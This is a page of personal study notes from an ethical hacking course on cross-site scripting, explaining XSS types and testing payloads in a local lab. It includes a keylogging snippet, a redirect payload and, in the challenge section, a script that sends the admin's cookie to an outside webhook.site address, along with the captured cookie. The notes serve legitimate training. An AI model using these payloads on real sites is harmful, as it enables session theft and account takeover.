TCM Security Academy Notes - by syselement
🏠 Home BlogGitHub📚 Buy Me a Book
  • TCM Security Academy Notes
  • Courses
    • TCM - Linux 101
      • 1. Introduction
        • Linux Distributions
        • Installing Linux
      • 2. Command Line
        • Intro to Command Line
        • Getting help on the Command Line
        • Command Line Arguments and Options
        • Reading Text Files
      • 3. File System
        • Filesystem Hierarchy Standard
        • Devices, Partitions and Mounting
        • Absolute and Relative Paths
        • Files and Directories
        • Paths, Filenames and Text Files
        • Filesystem Links
        • Archiving and Searching Files
      • 4. Users and Groups
        • Working with Users and Groups
        • File and Directory Permissions
        • Changing Users and Passwords
      • 5. Installing Software
        • Package Management
      • 6. Shells
        • Common Command Line Shells
        • Environment Variables & Startup Files
        • Input/Output Redirection
        • Command History & Substitution
      • 7. Utilities and File Editors
        • Searching and Processing Text
        • Networking at the Command Line
        • File Transfer
        • Text Editors and Converters
      • 8. Process Management
        • Process Information
        • Foreground and Background Processes
        • Managing Processes
        • Scheduling Processes
      • 9. Regular Expressions
        • Regular Expressions, Searching, Replacing, Building
      • 10. Bash Scripting
        • Bash Scripting Basics, Control Structures, Loops
      • 🌐Linux101 References
    • TCM - Mobile Application Penetration Testing
      • 1. Introduction & Mobile Pentesting
      • 2. Android Security
      • 3. Android Lab Setup
      • 4. Android Static Analysis
      • 5. Android Dynamic Analysis
      • 6. Android Bug Bounty
      • 7. iOS Security
      • 8. iOS Lab Setup
      • 9. iOS Static Analysis
      • 10. iOS Dynamic Analysis
      • 11. iOS Bug Bounty
      • 🌐MAPT References
    • TCM - Practical Ethical Hacking
      • 1. Introduction & Networking
      • 2. Lab Set Up, Linux & Python
        • Intro to Kali Linux
        • Intro to Python
      • 3. The Ethical Hacker Methodology
        • Information Gathering
        • Scanning & Enumeration
        • Vulnerability Scanning with Nessus
        • Exploitation Basics
        • Capstone Practical Labs
      • 4. Active Directory
        • Active Directory Lab
        • AD - Initial Attack Vectors
        • AD - Post-Compromise Enumeration
        • AD - Post-Compromise Attacks
        • AD - Additional Attacks
        • AD - Case Studies
      • 5. Post Exploitation
      • 6. Web Application
        • Web App Lab Setup
        • Web App - SQL Injection
        • Web App - XSS
        • Web App - Command Injection
        • Web App - Insecure File Upload
        • Web App - Authentication Attacks
        • Web App - XXE
        • Web App - IDOR
        • Web App - Capstone Practical Lab
      • 7. Wireless Attacks
      • 8. Legal Documentation & Report Writing
      • 🌐PEH References
  • 🏠syselement's Blog Home
Powered by GitBook
On this page
  • XSS - DOM
  • Stored XSS
  • XSS - Challenge

Was this helpful?

Edit on GitHub
  1. Courses
  2. TCM - Practical Ethical Hacking
  3. 6. Web Application

Web App - XSS

PreviousWeb App - SQL InjectionNextWeb App - Command Injection

Last updated 3 months ago

Was this helpful?

➡️ Cross-site scripting (XSS) allows an attacker to compromise the interactions of the users with a vulnerable application. It lets the attacker execute (malicious) JavaScript in a victim's browser, compromising the user's interaction with the application.

  • Reflected XSS

    • when an application unsafely includes user-supplied data (injected script) from an HTTP request in its immediate response

    • payload (malicious script) come from the current HTTP request

  • Stored XSS

    • when an application receives and stores data from an untrusted source and unsafely includes it within its later HTTP responses

    • payload (malicious script) come from the application's database

  • DOM-based XSS

    • when client-side Javascript (code) unsafely processes data from an untrusted source and writes it back to the DOM

    • everything happens locally in the browser

alert(1)
print()
prompt("Hello")

# log pressed key
function logKey(event){console.log(event.key)}
document.addEventListener('keydown', logKey)

XSS - DOM

  • The request happens entirelly locally

    • no request seen in the browser Dev Tools / Network tab

  • Try some basic payloads

<script>prompt(1)</script>
# did not work, it is not called/triggered

<img src=x onerror ="prompt(1)">
# works - injects an event-driven JavaScript payload that executes prompt(1) when the image fails to load due to an invalid source

<img src=x onerror ="window.location.href='https://tcm-sec.com'">
# redirect the user to another webpage
  • The lab can be used for testing other payloads


Stored XSS

  • To check if XSS is stored for more users, use

    • incognito sessions

    • to create 2 different environments with separate/difference accounts

  • First try some HTML injection, once found out if it works, XSS follows

    • every user that visits the page is impacted by the stored XSS payload

<h1>Test</h1>
# works - check on the second environment the Stored XSS

<script>prompt(1)</script>
# works - refresh second environment and you'll see the prompt

<script>alert(document.cookie)</script>
# Cookie can be stolen

XSS - Challenge

  • Open http://localhost/labs/x0x03.php first Firefox container

  • Open http://localhost/labs/x0x03_admin.php in the second container

  • Goal - exfiltrate the admin cookie

    • use Collaborator (with BurpSuite Pro)

<script>var i = new Image; i.src="https://webhook.site/4a14cea0-1e8c-4707-a596-cf1939bd4a76/?"+document.cookie</script>
admin_cookie
5ac5355b84894ede056ab81b324c4675

or

Use netcat or (not for private traffic)

Cross-Site Scripting (XSS) Cheat Sheet - 2024 Edition | Web Security Academy
Firefox Containers
https://webhook.site